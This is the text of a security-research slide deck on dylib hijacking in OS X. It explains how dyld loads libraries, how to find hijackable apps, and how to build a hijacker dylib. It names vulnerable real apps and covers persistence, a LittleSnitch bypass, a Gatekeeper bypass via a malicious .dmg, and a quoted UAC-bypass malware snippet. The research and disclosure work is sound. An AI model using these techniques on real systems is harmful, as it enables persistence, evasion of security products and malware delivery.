‘DLL Hijacking’ on OS X?

%@%& Yeah!

@patrickwardle
“sources a global contingent of vetted security experts worldwide and pays them on an incentivized basis to discover security vulnerabilities in our customers’ web apps, mobile apps, and infrastructure endpoints.”

vetted researchers

internal R&D

backed by google

always looking for more experts!

@patrickwardle
/NASA /NSA /VRL /SYNACK
AN OUTLINE

what we'll be covering

history of dll hijacking

history of dylib hijacking

attacks & defenses

loader/linker features

finding ‘hijackables’

hijacking
HISTORY OF DLL HIJACKING
...on windows
**DLL Hijacking (Windows)**

**an overview**

“an attack that exploits the way some Windows applications **search and load** Dynamic Link Libraries (DLLs)”

**definition**

“binary planting”  
“insecure library loading”  
“dll loading hijacking”  
“dll preloading attack”

**other names**

"I need `<blah>.dll"
DLL Hijacking

A (historically accurate) timeline

[unclass] “It is important that penetrators can’t insert a ‘fake’ DLL in one of these directories where the search finds it before a legitimate DLL of the same name”

-NSA (Windows NT Security Guidelines)

M$oft Security Advisory 2269637

“allows an attacker to execute arbitrary commands, potentially affecting more than 100 million users”

-thehackernews

“The vulnerability was discovered by HD Moore” -Wikipedia

1998

2010

Present
**DLL Hijacking**

an example of a buggy application

```c
//insecurely load library
// ->fully qualified path, not specified
HMODULE hLib = LoadLibrary(L"dnsapi.dll");
```

“*The default search behavior, is to search the **current directory**, followed by the [system] directories*” -microsoft

![Vulnerable code snippet](image)

![Process Monitor - Sysinternals: www.sysinternals.com](image)
DLL Hijacking Attacks

providing a variety of attack scenarios

- process injection
- persistence
- escalation of privileges (uac bypass)
- ‘remote’ infection

vulnerable binary
DLL Hijacking Attacks in the wild

“we had a plump stack of malware samples in our library that all had this name (fxsst.dll) and were completely unrelated to each other” - mandiant

```
//paths to abuse
char* uacTargetDir[] = {"system32\sysprep", "ehome"};
char* uacTargetApp[] = {"sysprep.exe", "mcx2prov.exe"};
char* uacTargetDll[] = {"cryptbase.dll", "CRYPTSP.dll"};

//execute vulnerable application & perform DLL hijacking attack
if(Exec(&exitCode, "cmd.exe /C %s", targetPath))
{
    if(exitCode == UAC_BYPASS_MAGIC_RETURN_CODE)
        DBG("UAC BYPASS SUCCESS")
... 
```

bypassing UAC (carberp, blackbeard, etc.)
Any OS which allows for dynamic linking of external libraries is theoretically vulnerable to [dll hijacking].

-Marc B (stackoverflow.com)
DYLIB HIJACKING

...on OS X
THE RISE OF MACS
macs are everywhere (home & enterprise)

#3 USA / #5 worldwide vendor in PC shipments

"Mac notebook sales have grown 21% over the last year, while total industry sales have fallen" -apple (3/2015)
Mach object file format (or 'Mach-O') is OS X's native file format for executables, shared libraries, dynamically-loaded code, etc.

Also known as dynamic shared libraries, shared objects, or dynamically linked libraries, dylibs are simply libraries intended for dynamic linking.

Load commands specify the layout and linkage characteristics of the binary (memory layout, initial execution state of the main thread, names of dependent dylibs, etc).
LOAD COMMANDS
instructions to the loader (including required libraries)

$otool -l /Applications/Calculator.app/Contents/MacOS/Calculator
...
Load command 12
  cmd  LC_LOAD_DYLIB
  cmdsize  88
  name  /System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa
  time stamp  2 Wed Dec 31 14:00:02 1969
  current version  21.0.0
  compatibility version  1.0.0
dylib specific load commands

`LC_LOAD_*_DYLIB/LC_ID_DYLIB` Load Commands

```c
struct dylib_command {
    uint32_t cmd; /* LC_ID_DYLIB, LC_LOAD_\{,WEAK\}_DYLIB, LC_REEXPORT_DYLIB */
    uint32_t cmdsize; /* includes pathname string */
    struct dylib dylib; /* the library identification */
};
```

```c
struct dyld_command
```

```c
struct dylib {
    union lc_str name; /* library's path name */
    uint32_t timestamp; /* library's build time stamp */
    uint32_t current_version; /* library's current vers number */
    uint32_t compatibility_version; /* library's compatibility vers number*/
};
```

`struct dyld_command` used to find & uniquely ID the library
DYLIB HIJACKING ATTACKS
the idea is simple

plant a malicious dynamic library such that the dynamic loader will automatically load it into a vulnerable application

constraints

no other system modifications
  › no patching binaries
  › no editing config files

independent of users’ environment
  › $PATH, (/etc/paths)
  › DYLD_*
**Dylib Hijacking Attacks**

abusing for malicious purposes ;)

- **Vulnerable binary**
- **Persistence**
- **Process injection**
- **Security product bypass**
- **Remote infection**

Just like dll hijacking on windows!
OS X’s Dynamic Loader/Linker

A conceptual overview of dyld

```
$ file /usr/lib/dyld
/usr/lib/dyld (for architecture x86_64): Mach-O 64-bit dynamic linker x86_64
/usr/lib/dyld (for architecture i386): Mach-O dynamic linker i386
```

/usr/lib/dyld

__dyld_start

find
load
link

dynamic libraries (dylibs)
OS X's Dynamic Loader/Linker

a (very) brief walk-thru

1. dyldStartup.s/__dyld_start
   sets up stack & jumps to
dyldbootstrap::start() which
   calls _main()

2. dyld.cpp/_main()
   calls link(ptrMainExe), calls
   image->link()

3. ImageLoader.cpp/link()
   calls ImageLoader::
   recursiveLoadLibraries()

4. ImageLoader.cpp/
   recursiveLoadLibraries()
   gets dependent libraries, calls
   context.loadLibrary() on each

5. dyld.cpp/load()
   calls loadPhase0() which calls,
   loadPhase1()... until loadPhase6()

6. dyld.cpp/loadPhase6()
   maps in file then calls
   ImageLoaderMachO::instantiateFromFile()
again, a simple idea

**LET THE HUNT BEGIN**

is there code in `dyld` that:

- doesn’t error out if a dylib isn’t found?
- looks for dylibs in multiple locations?

if the answer is 'YES' to either question, it's theoretically possible that binaries on OS X could be vulnerable to a dylib hijacking attack!
ALLOWING AN IMAGE LOAD TO FAIL

are missing dylibs are A-OK?

//attempt to load all required dylibs
void ImageLoader::recursiveLoadLibraries( ... ) {

  //get list of libraries this image needs
  DependentLibraryInfo libraryInfos[fLibraryCount];
  this->doGetDependentLibraries(libraryInfos);

  //try to load each
  for(unsigned int i=0; i < fLibraryCount; ++i) {

    //load
    try {
      dependentLib = context.loadLibrary(libraryInfos[i], ... );
      ...
    }
    catch(const char* msg) {
      if(requiredLibInfo.required)
        throw dyld::mkstringf("Library not loaded: %s\n Referenced from: %s\n Reason: %s",
                                requiredLibInfo.name, this->getRealPath(), msg);

      //ok if weak library not found
      dependentLib = NULL;
    }

  }

}
where is the ‘required’ variable set?

```cpp
// get all libraries required by the image
void ImageLoaderMachO::doGetDependentLibraries(DependentLibraryInfo* libs[])
{
  // get list of libraries this image needs
  const uint32_t cmd_count = ((macho_header*)fMachOData)->ncmds;
  const struct load_command* const cmds = (struct load_command*)&fMachOData[sizeof(macho_header)];
  const struct load_command* cmd = cmds;

  // iterate over all load commands
  for (uint32_t i = 0; i < cmd_count; ++i) {
    switch (cmd->cmd) {
      case LC_LOAD_DYLIB:
        break;
      case LC_LOAD_WEAK_DYLIB:
        // set required variable
        (&libs[index++])->required = (cmd->cmd != LC_LOAD_WEAK_DYLIB);
        break;
    }
  }
}
```

**LC_LOAD_WEAK_DYLIB:** weak 'import' (not required)

**setting the 'required' variable**
**Hijack 0x1: LC_LOAD_WEAK_DYLIB**

Binaries that import weak dylibs can be hijacked.

Find/load `<blah>.dylib` (weak request, so 'not-found' is ok!)

```plaintext
LC_LOAD_WEAK_DYLIB:
/usr/lib/<blah>.dylib
```

If a malicious file is placed in the directory, it will be hijacked.

```plaintext
LC_LOAD_WEAK_DYLIB:
/usr/lib/<blah>.dylib
```

**EXE**
Looking for Dylibs in Multiple Locations

ohhh, what do we have here?!

```cpp
// Substitute @rpath with all -rpath paths up the load chain
for(const ImageLoader::RPathChain* rp=context.rpath; rp != NULL; rp=rp->next){
    // Try each rpath
    for(std::vector<const char*>::iterator it=rp->paths->begin(); it != rp->paths->end(); ++it){
        // Build full path from current rpath
        char newPath[strlen(*it) + strlen(trailingPath)+2];
        strcpy(newPath, *it);
        strcat(newPath, "/");
        strcat(newPath, trailingPath);
        // TRY TO LOAD
        // - > if this fails, will attempt next variation!!
        image = loadPhase4(newPath, orgPath, context, exceptions);
        if(image != NULL)
            dyld::log("RPATH successful expansion of %s to: %s\n", orgPath, newPath);
        else
            dyld::log("RPATH failed to expanding %s to: %s\n", orgPath, newPath);
        // If found/load image, return it
        if(image != NULL)
            return image;
    }
}
```

loading dylibs from various locations
**WTF ARE @RPATHS?**
a special keyword for the loader/linker

"A **run-path dependent library** is a dependent library whose complete install name (path) is not known when the library is created....

To use run-path dependent libraries, an executable provides a list of run-path search paths, which the dynamic loader **traverses at load time** to find the libraries." -apple

"ohhh, so **dyld** will look for the dylib in multiple locations?!?"
AN EXAMPLE
a run-path dependent library

compiled run-path dependent library

set install dir to '@rpath'

$ otool -l rpathLib.framework/Versions/A/rpathLib
Load command 3
  cmd LC_ID_DYLIB
  cmdsize 72
  name @rpath/rpathLib.framework/Versions/A/rpathLib
 time stamp 1 Wed Dec 31 14:00:01 1969
  current version 1.0.0
  compatibility version 1.0.0
AN EXAMPLE
an app that links against an `@rpath`'d dylib

```
Link Binary With Libraries (2 items)
Name
- Cocoa.framework
- rpathLib.framework

Setting
Runpath Search Paths
/Applications/rPathApp.app/Contents/Library/...
/Applications/rPathApp.app/Contents/Library/One
/Applications/rPathApp.app/Contents/Library/Two
```

dylib dependency

1. the “run-path dependent library(s)”
   - `LC_LOAD*__DYLIB` LC(s) containing "@rpath" in the dylib path -> tells dyld to “to search a list of paths in order to locate the dylib"

2. the list of “run-path search paths”
   - `LC_RPATH` LCs containing the run-time paths which at runtime, replace "@rpath"
**RUN-PATH DEPENDENT LIBRARIES**

*LC_LOAD_DYLIB* load commands prefixed with '@rpath'

```sh
$ otool -l rPathApp.app/Contents/MacOS/rPathApp
Load command 12
  cmd LC_LOAD_DYLIB
  cmdsize 72
  name @rpath/rpathLib.framework/Versions/A/rpathLib
  time stamp 2 Wed Dec 31 14:00:02 1969
  current version 1.0.0
  compatibility version 1.0.0
```

an application linked against an *@rpath* import

"hey *dyld*, I depend on the *rpathLib* dylib, but when built, I didn’t know exactly where it would be installed. Please use my *embedded run-path search paths to find & load it!*"

-the executable
**Run-Path Search Path(s)**

**LC_RPATH** load commands containing the run-path search paths

```bash
$ otool -l rPathApp.app/Contents/MacOS/rPathApp
Load command 18
  cmd  LC_RPATH
  cmdsize  64
  path  /Applications/rPathApp.app/Contents/Library/One
Load command 19
  cmd  LC_RPATH
  cmdsize  64
  path  /Applications/rPathApp.app/Contents/Library/Two
```

embedded **LC_PATH** commands

One for each required dylib

```c
struct rpath_command
{
  uint32_t cmd;  /* LC_RPATH */
  uint32_t cmdsize;  /* includes string */
  union lc_str path;  /* path to add to run path */
};
```

```c
struct dyld_command (LC_RPATH LC)
```

mach-o/loader.h
DYLD AND THE ‘RUN-PATH’ SEARCH PATH(S)
how the linker/loader interacts with LC_RPATH load commands

void ImageLoader::recursiveLoadLibraries(...){

  //get list of rpaths that this image adds
  std::vector<const char*> rpathsFromThisImage;
  this->getRPaths(context, rpathsFromThisImage);
}

void ImageLoaderMachO::getRPaths(..., std::vector<const char*>& paths){

  //iterate over all load commands
  //->look for LC_RPATH and save their path’s
  for(uint32_t i = 0; i < cmd_count; ++i){
    switch(cmd->cmd){
      case LC_RPATH:
        //save ‘run-path’ search path
        paths.push_back((char*)cmd + ((struct rpath_command*)cmd)->path.offset);

        //keep scanning load commands...
        cmd = (const struct load_command*)((char*)cmd+cmd->cmdsize);
    }
  }
}

invoking getRPaths() to parse all LC_RPATHs

saving all "run-path search paths"
DYLD AND '@RPATH'
dealing with LC_LOAD_DYLIB load commands that contain '@rpath'

```c
//expand '@rpaths'
static ImageLoader* loadPhase3(...) {
  //replace '@rpath' with all resolved run-path search paths & try load
  else if(context.implicitRPath || (strncmp(path, "@rpath/", 7) == 0)) {
    //get part of path after '@rpath/'
    const char* trailingPath = (strncmp(path, "@rpath/", 7) == 0) ? &path[7] : path;
    //substitute @rpath with all -rpath paths up the load chain
    for(std::vector<const char*>::iterator it=rp->paths->begin(); it != rp->paths->end(); ++it){
      //build full path from current rpath
      char newPath[strlen(*it) + strlen(trailingPath)+2];
      strcpy(newPath, *it);
      strcat(newPath, "/");
      strcat(newPath, trailingPath);
      //TRY TO LOAD
      image = loadPhase4(newPath, orgPath, context, exceptions);
      //if found/loaded image, return it
      if(image != NULL) {
        return image;
      }
    }
  }
}
```

loading dylibs from various locations
Hijack 0x2: `LC_LOAD_DYLIB + LC_RPATHs`

'@rpath' imports not found in the primary search directory

```
find/load `<blah>.dylib`
```

**LC_LOAD_DYLIB:**

```
@rpath/`<blah>.dylib`
```

**LC_RPATH:**

1. `/Applications/blah.app/Library`
2. `/System/Library`

**Resolved paths:**

- `/Applications/blah.app/Library/blah.dylib`
- `/System/Library/blah.dylib`
Dylib Hijacking an OS X Binary
possible, given either of the following conditions!

1. contains a `LC_LOAD_WEAK_DYLIB` load command that references a non-existent dylib

2. contains multiple `LC_RPATH` load commands (i.e. run-path search paths)

   + contains a `LC_LOAD*_DYLIB` load command with a run-path dependent library (`@rpath`) not found in a primary run-path search path
**EXAMPLE TARGET**

hijacking the sample binary we wrote

```bash
$ export DYLD_PRINT_RPATHS="1"

$ /Applications/rPathApp.app/Contents/MacOS/rPathApp

RPATH failed to expanding @rpath/rpathLib.framework/Versions/A/rpathLib
  to: /Applications/rPathApp.app/Contents/MacOS/..../Library/One/rpathLib.framework/Versions/A/rpathLib

RPATH successful expansion of @rpath/rpathLib.framework/Versions/A/rpathLib
  to: /Applications/rPathApp.app/Contents/MacOS/..../Library/Two/rpathLib.framework/Versions/A/rpathLib
```

confirm the vulnerability

1. /Applications/rPathApp.app/Contents/Library/One/...
2. /Applications/rPathApp.app/Contents/Library/Two/...

first location is empty!
**Hijack Attempt 0x1**

Place dylib into the primary search location

```c
__attribute__((constructor))
void customConstructor(int argc, const char **argv)
{
  //dbg msg
  syslog(LOG_ERR, "hijacker loaded in %s\n", argv[0]);
}
```

'malicious' dylib

dylib's 'payload'

`$ /Applications/rPathApp.app/Contents/MacOS/rPathApp`

**RPATH successful expansion of @rpath/rpathLib.framework/Versions/A/rpathLib**
to: `/Applications/rPathApp.app/Contents/MacOS/../Library/One/rpathLib.framework/Versions/A/rpathLib`

dyld: Library not loaded: @rpath/rpathLib.framework/Versions/A/rpathLib
  Referenced from: /Applications/rPathApp.app/Contents/MacOS/rPathApp
  Reason: Incompatible library version: rPathApp requires version 1.0.0 or later, but rpathLib provides version 0.0.0

Trace/BPT trap: 5

success :) then fail :(  

**DYLIB VERSIONING**

dyld checks version numbers

**ImageLoader.cpp**

```cpp
ImageLoader::recursiveLoadLibraries(...)
{
  LibraryInfo actualInfo = dependentLib->doGetLibraryInfo();

  // compare version numbers
  if(actualInfo.minVersion < requiredLibInfo.info.minVersion)
  {
    // record values for use by CrashReporter or Finder
    dyld::throwf("Incompatible library version: ...\n\n    return info
  }
}
```

**ImageLoaderMachO.cpp**

```cpp
ImageLoaderMachO::doGetLibraryInfo()
{
  LibraryInfo info;
  const dylib_command* dylibID = (dylib_command*)
    (&fMachOData[fDylibIDOffset]);

  // extract version info from LC_ID_DYLIB
  info.minVersion = dylibID->dylib.compatibility_version;
  info.maxVersion = dylibID->dylib.current_version;

  return info
}
```

**versioning mismatch**

```
$ otool -l rPathApp
  Load command 12
  cmd LC_LOAD_DYLIB
  cmdsize 72
  name ... rpathLib
  current_version 1.0.0
  compatibility_version 1.0.0
```

**hijacker dylib**

```
$ otool -l rPathApp
  Load command 12
  cmd LC_ID_DYLIB
  cmdsize 72
  name ... rpathLib
  current_version 0.0.0
  compatibility_version 0.0.0
```

**target (legit) dylib**
**HIJACK ATTEMPT 0x2**

Compatible version numbers

<table>
<thead>
<tr>
<th>Linking</th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Compatibility Version</strong></td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td><strong>Current Library Version</strong></td>
<td>1</td>
<td>1</td>
</tr>
</tbody>
</table>

Setting version numbers

```
$ /Applications/rPathApp.app/Contents/MacOS/rPathApp

RPATH successful expansion of @rpath/rpathLib.framework/Versions/A/rpathLib
to: /Applications/rPathApp.app/Contents/MacOS/../Library/One/rpathLib.framework/Versions/A/rpathLib

dyld: Symbol not found: __OBJC_CLASS_$_SomeObject
  Referenced from: /Applications/rPathApp.app/Contents/MacOS/rPathApp
  Expected in: /Applications/rPathApp.app/Contents/MacOS/../Library/One/rpathLib.framework/Versions/A/rpathLib

Trace/BPT trap: 5
```

Success :) then fail :(  

```
$ otool -l rPathLib
Load command 12
  cmd LC_ID_DYLIB
  cmdsize 72
  name ... rpathLib
  current version 1.0.0
  compatibility version 1.0.0
```
SOLVING THE EXPORTS ISSUE
hijack dylib must export the expected symbols

sure we could get the hijacker to directly export all the same symbols from the original...but it'd be more elegant to have it re-export them, forwarding ('proxying') everything on to the original dylib!

$ dyldinfo -export /Library/Two/rpathLib.framework/Versions/A/rpathLib
0x00001100  _OBJC_METACLASS_$_SomeObject
0x00001128  _OBJC_CLASS_$_SomeObject

exports from legit dylib
**Re-exporting Symbols**

Telling the dyld where to find the required symbols

---

**Linking**

**Other Linker Flags**

- `-Xlinker -reexport_library`...

---

```
$ otool -l rPathLib
Load command 9
  cmd LC_REEXPORT_DYLIB
  cmdsize 72
  name @rpath/rpathLib.framework/Versions/A/rpathLib
```

**LC_REEXPORT_DYLIB** load command

---

- `-Xlinker -reexport_library` <path to legit dylib>

**Linker flags**

---

LD inserts name from target (legit) library (will be @rpath/... which dyld doesn't resolve)

---

LD cannot link if target dylib falls within an umbrella framework

---

Synack
**RE-EXPORTING SYMBOLS**

fix with `install_name_tool`

install_name_tool -change
<existing value of LC_REEXPORT_DYLIB>
<new value for to LC_REEXPORT_DYLIB (e.g target dylib)>
<path to dylib to update>

```bash
$ install_name_tool -change @rpath/rpathLib.framework/Versions/A/rpathLib
/Applications/rPathApp.app/Contents/Library/Two/rpathLib.framework/Versions/A/rpathLib
/Applications/rPathApp.app/Contents/Library/One/rpathLib.framework/Versions/A/rpathlib

$ otool -l Library/One/rpathLib.framework/Versions/A/rpathlib
Load command 9
  cmd LC_REEXPORT_DYLIB
  cmdsize 112
  name /Applications/rPathApp.app/Contents/Library/Two/rpathLib.framework/Versions/A/
```

fixing the target of the re-exported
Hijack Success!
all your base are belong to us :)

Hijacker's 'payload'

Hijacked loaded into app's process space

Alsof -p 29593

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>rPathApp</td>
<td>/Users/patrick</td>
</tr>
<tr>
<td>rPathApp</td>
<td>/Applications/rPathApp.app/Contents/MacOS/rPathApp</td>
</tr>
<tr>
<td>rPathApp</td>
<td>/Applications/rPathApp.app/Contents/Library/One/rpathLib.framework/Versions/A/rpathLib</td>
</tr>
<tr>
<td>rPathApp</td>
<td>/Applications/rPathApp.app/Contents/Library/Two/rpathLib.framework/Versions/A/rpathLib</td>
</tr>
</tbody>
</table>

App runs fine!
ATTACKS & DEFENSE
impacts of hijacks
AUTOMATION
finding vulnerable binaries

1. **LC_LOAD_WEAK_DYLIB** that reference a non-existent dylib

2. **LC_LOAD*__DYLIB** with @rpath'd import & multiple **LC_RPATHs** with the run-path dependent library not found in a primary run-path search path

```bash
$ python dylibHijackScanner.py

generating list of all executable files on system will scan for multiple LC_RPATHs and LC_LOAD_WEAK_DYLIBs

found 91 binaries vulnerable to multiple rpaths
found 53 binaries vulnerable to weak dylibs

rPathApp.app has multiple rpaths (dylib not in primary directory)
({
  'binary': '/rPathApp.app/Contents/MacOS/rPathApp',
  'importedDylib': '/rpathLib.framework/Versions/A/rpathLib',
  'LC_RPATH': 'rPathApp.app/Contents/Library/One'
})
```

automated vulnerability detection
Automation Findings

you might have heard of these guys?

```
Apple
- iCloud Photos
- Xcode
- iMovie (plugins)
- Quicktime (plugins)

Microsoft
- Word
- Excel
- Powerpoint
- Upload Center

Others
- Google (drive)
- Adobe (plugins)
- GPG Tools
- DropBox
```

results: only from one scan (my box)
Automated hijacker configuration

1. Extract target dylib's version numbers and patch them into hijacker.
2. Re-export ('forward') exports by executing `install_name_tool` to update `LC_REEXPORT_DYLIB` in the hijacker to reference target dylib.

```
$ python createHijacker.py Products/Debug/libhijack.dylib /Applications/rPathApp.app/Contents/Library/Two/rpathLib.framework/Versions/A/rpathLib

hijacker dylib: libhijack.dylib
target (existing) dylib: rpathLib

[+] Parsing 'rpathLib' to extract version info
[+] Parsing 'libhijack.dylib' to find version info
  Updating version info in libhijack.dylib to match rpathLib

[+] Parsing 'libhijack.dylib' to extract faux re-export info
  Updating embedded re-export via exec'ing: /usr/bin/install_name_tool -change

Configured libhijack.dylib (renamed to: rpathLib) as compatible hijacker for rpathLib
```
GAINING PERSISTENCE
ideal for a variety of reasons...

- Gain automatic & persistent code execution whenever the OS restarts/the user logs only via a dynamic library hijack.

- No binary / OS file modifications.

- No new processes.

- Hosted within a trusted process.

- Abuses legitimate functionality.
GAINING PERSISTENCE
via Apple's PhotoStreamAgent ('iCloudPhotos.app')

```
$ python dylibHijackScanner.py

PhotoStreamAgent is vulnerable (multiple rpaths)
'binary':  '/Applications/iPhoto.app/Contents/Library/LoginItems/
  PhotoStreamAgent.app/Contents/MacOS/PhotoStreamAgent'
'importedDylib': '/PhotoFoundation.framework/Versions/A/PhotoFoundation'
'LC_RPATH':  '/Applications/iPhoto.app/Contents/Library/LoginItems'
```

1. configure hijacker against PhotoFoundation (dylib)
2. copy to `/Applications/iPhoto.app/Contents/Library/LoginItems/PhotoFoundation.framework/Versions/A/PhotoFoundation`

```
$ reboot

$ lsof -p <pid of PhotoStreamAgent>
```

![Synack logo]
PROCESS INJECTION ('LOAD TIME')

ideal for a variety of reasons...

- gain automatic & persistent code execution within a process only via a dynamic library hijack

- no binary / OS file modifications
- no process monitoring
- no complex runtime injection
- no detection of injection
GAINING PROCESS INJECTION via Apple's Xcode

$ python dylibHijackScanner.py

Xcode is vulnerable (multiple rpats)
'binary': '/Applications/Xcode.app/Contents/MacOS/Xcode'
'imoprtedDylib': '/DVTFoundation.framework/Versions/A/DVTFoundation'
'LC_RPATH': '/Applications/Xcode.app/Contents/Frameworks'

1. configure hijacker against DVTFoundation (dylib)
2. copy to /Applications/Xcode.app/Contents/Frameworks/DVTFoundation.framework/Versions/A/

do you trust your compiler now!? (k thompson)
BYPASSING PERSONAL SECURITY PRODUCTS

ideal for a variety of reasons...

the goal

gain automatic code execution within a trusted process only via a dynamic library hijack to perform some previously disallowed action

no binary / OS file modifications

hosted within a trusted process

abuses legitimate functionality
	novel technique
BYPASSING PERSONAL SECURITY PRODUCTS

be invisible to LittleSnitch via GPG Tools

$ python dylibHijackScanner.py

GPG Keychain is vulnerable (weak/rpath'd dylib)
'binary': '/Applications/GPG Keychain.app/Contents/MacOS/GPG Keychain'
'weak dylib': '/Libmacgpg.framework/Versions/B/Libmacgpg'
'LC_RPATH': '/Applications/GPG Keychain.app/Contents/Frameworks'

LittleSnitch rule for GPG Keychain

GPG Keychain

got 99 problems but LittleSnitch ain't one ;)

GPG Keychain: hijacked dylib loaded in /Applications/GPG Keychain.app/Contents/MacOS/GPG Keychain (85436)
GPG Keychain: attempting to get data from http://www.google.com
GPG Keychain: got response: <!doctype html><html itemscope=""><meta content="Search the world's information, including webpages, images, videos and more. Google has many special features to help you..." name="og:description" property="og:description" xmlns="http://www.w3.org/1999/xhtml">
'REMOTE' (NON-LOCAL) ATTACK
bypassing Gatekeeper

circumvent gatekeeper's draconic blockage via a dynamic library hijack

can we bypass this (unsigned code to run)?

gatekeeper in action
Gatekeeper is an anti-malware feature of the OS X operating system. It allows users to restrict which sources they can install applications from, in order to reduce the likelihood of executing a Trojan horse.

```
$ xattr -l ~/Downloads/malware.dmg
com.apple.quarantine:0001;534e3038; Safari; B8E3DA59-32F6-4580-8AB3...
```

Quarantine attributes

dsafari, etc. tags downloaded content

Allow apps downloaded from:
- Mac App Store
- Mac App Store and identified developers
- Anywhere

“malware.app” can't be opened because it is from an unidentified developer.

Your security preferences allow installation of only apps from the Mac App Store.
### Gatekeeper Bypass

**go home gatekeeper, you are drunk**

1. **gatekeeper only verifies the app bundle!!**

2. **find an Apple-s signed or 'mac app store' app that contains an external relative reference to hijackable dylib**

3. **create a .dmg with the necessary folder structure to contain the malicious dylib in the externally referenced location**

4. **#winning**
**Gatekeeper Bypass**

1) A signed app that contains an external reference to hijackable dylib

```bash
$ spctl -vat execute /Applications/Xcode.app/Contents/Applications/Instruments.app
Instruments.app: accepted
source=Apple System
```

```
$ otool -l Instruments.app/Contents/MacOS/Instruments

Load command 16
  cmd LC_LOAD_WEAK_DYLIB
  name @rpath/CoreSimulator.framework/Versions/A/CoreSimulator

Load command 30
  cmd LC_RPATH
  path @executable_path/../../../../SharedFrameworks
```

Instruments.app - fits the bill
2) create a .dmg with the necessary layout

GATEKEEPER BYPASS

required directory structure

'clean up' the .dmg
- hide files/folder
- set top-level alias to app
- change icon & background
- make read-only

(deployable) malicious .dmg
GATEKEEPER BYPASS

3) #winning

Allow apps downloaded from:
- Mac App Store
- Mac App Store and identified developers
- Anywhere

standard popup for anything downloaded

standard alert

gatekeeper bypass :)
GATEKEEPER BYPASS

low-tech abuse cases

fake codecs

fake installers/updates

why gatekeeper was born

infected torrents

"[there were over] sixty thousand calls to AppleCare technical support about Mac Defender-related issues" - Sophos
GATEKEEPER BYPASS
what you really need to worry about :/

Mac App Store not vulnerable

MitM & infect insecure downloads

HTTP :

my dock
These should be secure, right!? All the security software I could find was downloaded over HTTP!
**End-to-End Attack**
putting the pieces all together

1. **Persist**
   persistently install a malicious dylib as a hijacker

2. **Exfil File**
   upload a file ('topSecret') to a remote iCloud account

3. **Download & Execute Cmd**
   download and run a command ('Calculator.app')

doesn't require root!
PSP TESTING
the OS 'security' industry vs me ;)

are any of these malicious actions blocked?

1. persist
2. exfil file
3. download & execute cmd

OS X 'security' products
What can be done to fix this mess?

1. Dylib Hijacking Fix?
   - abuses a legitimate OS feature, so unlikely to be fixed...

2. Gatekeeper Bypass Fix
   - resolve & verify all imported dylibs
   - disallow external dylibs?

3. MitM Fix
   - only download software over secure channels (HTTPS, etc)

submitted 2x to bugreport.apple.com

1/15 initial bug report
2/15 resubmission
2/15 automated response
2/15 followup
2/15 'thanks' for followup

comms. w/ apple

19757475 "Dylib Hijacking"
07-Feb-2015 07:49 AM
OS X
Rank : No Value
Summary: On OS X, applications that make use of the load commands, LC_LOAD_WEAK_DYLIBs or multiple LC_RPATHs, may

19490818 "Dylib Hijacking"
15-Jan-2015 12:53 PM
OS X
Rank : No Value
Summary: On OS X, applications that make use of the load commands, LC_LOAD_WEAK_DYLIBs or multiple LC_RPATHs, may
but am I vulnerable? and I owned?

DEFENSE

DHS

Hijacked Applications
total: 1

Vulnerable Applications
total: 8

free at objective-see.com

hijacked apps

buggy apps

dylib hijack scanner (dhs)
CONCLUSIONS

...wrapping this up

new

powerful stealthy new class of attack
affects apple & 3rd party apps
abuses legitimate functionality
no binary / OS file modifications

{ persistence
process injection
security product bypass
‘remote’ infection

users

scan your system
download software over HTTPS
don't give your $ to the AV companies

don't give your $ to the AV companies
feel free to contact me any time :)

patrick@synack.com
@patrickwardle

What if every country has ninjas, but we only know about the Japanese ones because they’re rubbish?
- DJ-2000, reddit.com
(image) credits

- thezooom.com
- deviantart.com (FreshFarhan)
- iconmonstr.com
- flaticon.com